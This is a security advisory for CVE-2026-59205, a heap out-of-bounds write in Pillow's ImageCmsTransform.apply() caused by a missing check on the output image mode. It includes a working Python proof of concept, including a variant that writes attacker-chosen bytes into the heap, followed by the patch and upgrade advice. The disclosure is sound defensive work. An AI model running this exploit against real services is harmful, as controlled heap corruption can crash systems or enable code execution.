CVE-2026-59205: Pillow Controlled Heap Out-of-Bounds Write in ImageCmsTransform.apply()
Pillow's color-profile transform API writes far more bytes than an output image buffer can hold when the output image's pixel mode does not match the transform's declared output mode, corrupting the p
The problem
ImageCmsTransform.apply() accepts a caller-supplied output image (imOut) but does not verify that imOut.mode matches the transform's declared output mode before passing both image buffers into the native LittleCMS C extension.
The C layer (pyCMSdoTransform) only checks that output dimensions are large enough, then calls cmsDoTransform() row by row. Because findLCMStype() maps RGBA to TYPE_RGBA_8 (4 bytes per pixel), LittleCMS writes 4 * width bytes per row into an L-mode output that only allocated 1 * width bytes, overflowing the heap by up to 3x the row size.
Source pixel values are written directly out-of-bounds, giving an attacker byte-level control over what is written past the allocation.
Proof of concept
A working proof-of-concept for CVE-2026-59205 in pillow, with the exact payload below.
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
# Input: RGBA image; output: L image (1 byte/px instead of 4 bytes/px)
# LittleCMS writes 4*8 = 32 bytes into an 8-byte heap row -> heap corruption
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
# Expected output:
# before
# after
# free(): invalid next size (normal)
# Aborted (core dumped)
#
# Controlled-overwrite variant (width 4096, attacker bytes 0x41424344 in heap):
im2 = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out2 = Image.new("L", (4096, 1), 0)
transform.apply(im2, out2)
# GDB shows fault at ptr 0x4443424144434241 (ABCDABCD LE) -> controlled writeThe root cause is a missing mode validation in the Python layer of ImageCmsTransform.apply(). The apply_in_place() sibling correctly checks im.mode != self.output_mode and raises ValueError, but apply() with an explicit imOut argument had no equivalent guard.
The C extension trusts the Python layer to hand it correctly typed images. cmsDoTransform() uses the LittleCMS type descriptor baked into the transform (TYPE_RGBA_8, 4 bytes per pixel for RGBA) regardless of what the output Imaging struct's actual stride is. Passing a 1-byte-per-pixel L buffer causes every row write to overflow by exactly (output_bpp - 1) * width bytes, and because those bytes come directly from the RGBA source pixels, the content of the overwrite is attacker-controlled (CWE-787).
The patch (commit a9ffc42) adds two mode checks in apply(): it raises ValueError if im.mode != self.input_mode and, when imOut is provided, if imOut.mode != self.output_mode, preventing the mismatched buffers from ever reaching the C layer.
The fix
Upgrade to Pillow 12.3.0. The fix adds explicit mode validation at the Python level inside ImageCmsTransform.apply() before any native call is made. Pin to pillow>=12.3.0 in your dependencies. If you expose ImageCms transform functionality to untrusted callers, audit whether they can supply an arbitrary imOut object.
Related research
- highCVE-2026-54058CVE-2026-54058: Pillow Out-of-Bounds Read via Undersized McIdas AREA Row Stride
- highCVE-2026-59204CVE-2026-59204: Pillow JPEG2000 Tiled Decode Memory Exhaustion
- high · 7.5CVE-2026-54059CVE-2026-54059: Pillow PcfFontFile Decompression Bomb Protection Bypass
- high · 7.5CVE-2026-54060CVE-2026-54060: Pillow FontFile.compile() Decompression Bomb Bypass